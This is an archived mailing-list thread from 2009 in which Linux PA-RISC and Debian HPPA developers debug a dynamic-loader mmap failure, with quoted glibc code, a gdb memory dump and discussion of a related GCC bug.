NNTP-Posting-Date: Mon, 6 Jul 2009 00:03:34 +0000 (UTC)
Cc: deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org, Kyle McMartin <kyle@mcmartin.ca>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 02:03:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNbg3-0003v9-Rn
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 02:03:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756154AbZGFADR convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 20:03:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756572AbZGFADR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 20:03:17 -0400
Original-Received: from mail-ew0-f211.google.com ([209.85.219.211]:46065 "EHLO
	mail-ew0-f211.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756371AbZGFADQ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 20:03:16 -0400
Original-Received: by ewy7 with SMTP id 7so1328866ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 05 Jul 2009 17:03:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=DzUtMeYaUZkhyZlkK2bMQ/1ZUMscsRzftsURlQDlEKg=;
        b=UPXqR/Dwk4eXXhEfN1Kq4UG+zT1BRonjMnhVo1nvFcoJFvDAySQgE27sO+9E8MvePv
         u4+0yKYXt4HDeCd6TgBLp0Q1uvbGLh7BPkjTJcLoLC/EkSIuSClR8PbRXYHcIebARkXd
         beYPo4Q2C7XX/PQvLK7aYl/r1gF2b4dnbctRg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=NeHv7/AdbDcOk/y+HjiIKkpTehIq/ce4TpPzkWuS5vAn7UqkGDtoycNzNaVzCBf9Tv
         4VpahAXxdY04W615t6dkEUe8EtPzCq/DJhYVXdh+EFt58ZMzuKioLPCRfAR+sU3BVnVG
         fBpn6q8XO2DMUY2uxV0amRnqFBKP7Tjq+ZKnU=
Original-Received: by 10.216.70.204 with SMTP id p54mr1017267wed.87.1246838599239; Sun, 
	05 Jul 2009 17:03:19 -0700 (PDT)
In-Reply-To: <20090705230740.EE8624FC6@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 950e405b263ce6d2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1863 gmane.linux.debian.ports.hppa:5811 gmane.linux.debian.devel.release:31022
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1863>

On Sun, Jul 5, 2009 at 7:07 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> After staring at the dynamic loader code for a while, I think the fol=
lowing
> mmap call in dl-load.c doesn't correctly map the info data for /lib/l=
ibdl.so.2.
>
> =A0 =A0 =A0 =A0/* Remember which part of the address space this objec=
t uses. =A0*/
> =A0 =A0 =A0 =A0l->l_map_start =3D (ElfW(Addr)) __mmap ((void *) mappr=
ef, maplength,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0c->prot,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0MAP_COPY|MAP_FILE,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0fd, c->mapoff);
>
> The info data is near the end of the mapped segment. =A0The l_info fi=
eld
> is initialized by elf_get_dynamic_info from the dynamic data mapped
> at l->ld.

Why do you think this is wrong?

> I seem to recall that the kernel mmap implementation on hppa is somew=
hat
> unique.

I don't recall anything, Kyle?

> In the above call, mappref is NULL. =A0The kernel selects the map loc=
ation.

Yes, that's probably correct, the loader is letting the kernel choose
the address, at this point we don't care where the library is loaded.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 20:17:42 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <20090706001745.274D94F19@hiauly1.hia.nrc.ca>
References: <119aab440907051703y2bc7e71fnbddefa5dc0773f3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246839500 7025 80.91.229.12 (6 Jul 2009 00:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 00:18:20 +0000 (UTC)
Cc: deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org, kyle@mcmartin.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 02:18:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNbuO-0007Lx-0a
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 02:18:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754695AbZGFASE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 20:18:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755030AbZGFASE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 20:18:04 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4002 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754695AbZGFASE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 20:18:04 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 274D94F19; Sun,  5 Jul 2009 20:17:44 -0400 (EDT)
In-Reply-To: <119aab440907051703y2bc7e71fnbddefa5dc0773f3@mail.gmail.com> from "Carlos O'Donell" at Jul 5, 2009 08:03:19 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1864 gmane.linux.debian.ports.hppa:5812 gmane.linux.debian.devel.release:31023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1864>

> > The info data is near the end of the mapped segment. =A0The l_info field
> > is initialized by elf_get_dynamic_info from the dynamic data mapped
> > at l->ld.
> 
> Why do you think this is wrong?

I don't know about the specifics.  My supposition is that we may not
be copying the entire segment depending on where the map is placed.

> > I seem to recall that the kernel mmap implementation on hppa is somewhat
> > unique.
> 
> I don't recall anything, Kyle?

This came up with respect to the GCC PCH implementation for parisc.  See
comments in host-hpux.h.  At the moment, we do have a PCH related bug.
See PR 39355.  While I know the problem is present in the PCH file, I
haven't been able to figure out how wrong data gets in the file.

> > In the above call, mappref is NULL. =A0The kernel selects the map locatio=
> n.
> 
> Yes, that's probably correct, the loader is letting the kernel choose
> the address, at this point we don't care where the library is loaded.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 05 Jul 2009 20:06:23 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <1246842383.4158.22.camel@mulgrave.site>
References: <20090706001745.274D94F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246842399 11597 80.91.229.12 (6 Jul 2009 01:06:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 01:06:39 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	kurt@roeckx.be, pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org,
	kyle@mcmartin.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 03:06:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNcf8-0000JH-KM
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 03:06:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754782AbZGFBGZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 21:06:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756251AbZGFBGZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 21:06:25 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37342 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754400AbZGFBGY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 21:06:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 285428EE12C;
	Sun,  5 Jul 2009 18:06:28 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xthQbK6yiMbB; Sun,  5 Jul 2009 18:06:28 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 38B708EE0D5;
	Sun,  5 Jul 2009 18:06:26 -0700 (PDT)
In-Reply-To: <20090706001745.274D94F19@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1865 gmane.linux.debian.ports.hppa:5813 gmane.linux.debian.devel.release:31024
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1865>

On Sun, 2009-07-05 at 20:17 -0400, John David Anglin wrote:
> > > The info data is near the end of the mapped segment. =A0The l_info field
> > > is initialized by elf_get_dynamic_info from the dynamic data mapped
> > > at l->ld.
> > 
> > Why do you think this is wrong?
> 
> I don't know about the specifics.  My supposition is that we may not
> be copying the entire segment depending on where the map is placed.

Who is supposed to copy the segment?  The user or the kernel?

> > > I seem to recall that the kernel mmap implementation on hppa is somewhat
> > > unique.
> > 
> > I don't recall anything, Kyle?
> 
> This came up with respect to the GCC PCH implementation for parisc.  See
> comments in host-hpux.h.  At the moment, we do have a PCH related bug.
> See PR 39355.  While I know the problem is present in the PCH file, I
> haven't been able to figure out how wrong data gets in the file.

Do you have a bugzilla reference so we can take a look ... also, is this
likely a tool chain problem or a kernel one?  If it's a kernel one could
someone provide a description of what they think is going wrong?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 21:43:20 -0400 (EDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <20090706014321.E91A45146@hiauly1.hia.nrc.ca>
References: <1246842383.4158.22.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246844636 15160 80.91.229.12 (6 Jul 2009 01:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 01:43:56 +0000 (UTC)
Cc: carlos@systemhalted.org, deller@gmx.de, kurt@roeckx.be,
	pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org,
	kyle@mcmartin.ca
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 03:43:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNdFC-0008Mu-Nl
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 03:43:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755027AbZGFBna (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 21:43:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756694AbZGFBna
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 21:43:30 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4012 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755027AbZGFBn3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 21:43:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E91A45146; Sun,  5 Jul 2009 21:43:21 -0400 (EDT)
In-Reply-To: <1246842383.4158.22.camel@mulgrave.site> from "James Bottomley" at Jul 5, 2009 08:06:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1866 gmane.linux.debian.ports.hppa:5814 gmane.linux.debian.devel.release:31025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1866>

> On Sun, 2009-07-05 at 20:17 -0400, John David Anglin wrote:
> > > > The info data is near the end of the mapped segment. =A0The l_info field
> > > > is initialized by elf_get_dynamic_info from the dynamic data mapped
> > > > at l->ld.
> > > 
> > > Why do you think this is wrong?
> > 
> > I don't know about the specifics.  My supposition is that we may not
> > be copying the entire segment depending on where the map is placed.
> 
> Who is supposed to copy the segment?  The user or the kernel?

As far as I can tell, the kernel is responsible for mapping the segment.
Then, elf_get_dynamic_info processes the mapped data to generate the
l_info field in the link map.

The kernel has control over where the segment is mapped.  In as much
as the dependencies for /bin/sh are processed many times in a GCC
build, I have to think the problem relates to the placement or a
random problem with mmap.  There is a small possibility that the
processing of the data by elf_get_dynamic_info has a problem.

> > > > I seem to recall that the kernel mmap implementation on hppa is somewhat
> > > > unique.
> > > 
> > > I don't recall anything, Kyle?
> > 
> > This came up with respect to the GCC PCH implementation for parisc.  See
> > comments in host-hpux.h.  At the moment, we do have a PCH related bug.
> > See PR 39355.  While I know the problem is present in the PCH file, I
> > haven't been able to figure out how wrong data gets in the file.
> 
> Do you have a bugzilla reference so we can take a look ... also, is this
> likely a tool chain problem or a kernel one?  If it's a kernel one could
> someone provide a description of what they think is going wrong?

The bugzilla reference is <http://gcc.gnu.org/bugzilla/show_bug.cgi?id=39355>.

Many of my comments in the PR are wrong.  See comment #47.  At this time,
I know that the data in the PCH file are wrong but I don't know why.  In
any case, I should not have mentioned the PCH bug.  It's probably a tool
chain bug.  The main point of the comment was that the hppa mmap implementation
differs from other implementations (MAP_PRIVATE is not reliable).  So, there
may be other issues.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 22:25:04 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <20090706022506.D3E405146@hiauly1.hia.nrc.ca>
References: <119aab440907051659p5d3cb93dk1034ce053034d192@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246847134 19447 80.91.229.12 (6 Jul 2009 02:25:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 02:25:34 +0000 (UTC)
Cc: deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 04:25:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNdtW-0000sm-FH
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 04:25:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753607AbZGFCZV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 22:25:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753672AbZGFCZU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 22:25:20 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4021 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753607AbZGFCZU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 22:25:20 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D3E405146; Sun,  5 Jul 2009 22:25:05 -0400 (EDT)
In-Reply-To: <119aab440907051659p5d3cb93dk1034ce053034d192@mail.gmail.com> from "Carlos O'Donell" at Jul 5, 2009 07:59:59 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1867 gmane.linux.debian.ports.hppa:5815 gmane.linux.debian.devel.release:31026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1867>

> On Sun, Jul 5, 2009 at 1:19 PM, John David
> Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> > Carlos, what do you think?
> 
> I think the dynamic linker is always the first to touch the mmap'd
> file and therefore the most likely to fail if something is wrong in
> our VM layer.

>From the core dump, this is the data supposed processed by
elf_get_dynamic_info:

(gdb) x/64x l->l_ld
0x4029e5fc <.LC11+4>:	0x00000001	0x00000167	0x00000001	0x00000171
0x4029e60c <.LC11+20>:	0x0000000e	0x00000179	0x0000000c	0x00000c9c
0x4029e61c <.LC11+36>:	0x0000000d	0x000020bc	0x00000019	0x00003590
0x4029e62c <.LC11+52>:	0x0000001b	0x00000004	0x00000004	0x00002168
0x4029e63c <.LC11+68>:	0x6ffffef5	0x00000134	0x00000005	0x0000047c
0x4029e64c <.LC11+84>:	0x00000006	0x000001ec	0x0000000a	0x000001c8
0x4029e65c <.LC11+100>:	0x0000000b	0x00000010	0x00000003	0x000037fc
0x4029e66c <.LC11+116>:	0x00000002	0x0000015c	0x00000014	0x00000007
0x4029e67c <.LC11+132>:	0x00000017	0x00000b40	0x00000007	0x000007b0
0x4029e68c <.LC11+148>:	0x00000008	0x00000390	0x00000009	0x0000000c
0x4029e69c <.LC11+164>:	0x6ffffffc	0x00000698	0x6ffffffd	0x00000006

(gdb) p l->l_ld[9]
$15 = {d_tag = 5, d_un = {d_val = 1148, d_ptr = 1148}}
(gdb) p/x 1148
$16 = 0x47c

The numbers seem to match that printed by readelf.  So, maybe Carlos
is right and this is a VM issue.  Is it possible the code saw different
data (e.g., the mmap operation was not complete before the mmap call
returned)?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Mon, 06 Jul 2009 13:38:05 +0800
Lines: 23
Approved: news@gmane.org
Message-ID: <4A518DBD.3090209@tausq.org>
References: <20090706014321.E91A45146@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246858703 6385 80.91.229.12 (6 Jul 2009 05:38:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 05:38:23 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	carlos@systemhalted.org, deller@gmx.de, kurt@roeckx.be,
	pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org,
	kyle@mcmartin.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 07:38:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNgu6-0002VF-5T
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 07:38:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751458AbZGFFiI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 01:38:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751528AbZGFFiI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 01:38:08 -0400
Original-Received: from mail-pz0-f193.google.com ([209.85.222.193]:45367 "EHLO
	mail-pz0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751458AbZGFFiH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 01:38:07 -0400
Original-Received: by pzk31 with SMTP id 31so2045722pzk.33
        for <linux-parisc@vger.kernel.org>; Sun, 05 Jul 2009 22:38:11 -0700 (PDT)
Original-Received: by 10.115.91.2 with SMTP id t2mr6836951wal.224.1246858691056;
        Sun, 05 Jul 2009 22:38:11 -0700 (PDT)
Original-Received: from ?192.168.100.52? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id m6sm10500640wag.49.2009.07.05.22.38.07
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 05 Jul 2009 22:38:10 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
In-Reply-To: <20090706014321.E91A45146@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1868 gmane.linux.debian.ports.hppa:5816 gmane.linux.debian.devel.release:31027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1868>


>>>>> I seem to recall that the kernel mmap implementation on hppa is somewhat
>>>>> unique.
>>>>>           
>>>> I don't recall anything, Kyle?
>>>>         
>>> This came up with respect to the GCC PCH implementation for parisc.  See
>>> comments in host-hpux.h.  At the moment, we do have a PCH related bug.
>>> See PR 39355.  While I know the problem is present in the PCH file, I
>>> haven't been able to figure out how wrong data gets in the file.
>>>       
There are some limitations on hppa if a file is both opened for reading 
(via read()) and written to via a mmap'ed mapping. This came up a few 
years ago.

Does gcc do this?

randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Mon, 6 Jul 2009 09:28:33 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <20090706132836.B39E6500D@hiauly1.hia.nrc.ca>
References: <4A518DBD.3090209@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246886969 19940 80.91.229.12 (6 Jul 2009 13:29:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 13:29:29 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, carlos@systemhalted.org,
	deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org, kyle@mcmartin.ca
To: randolph@tausq.org (Randolph Chung)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 15:29:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNoFp-00007t-Jo
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 15:29:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
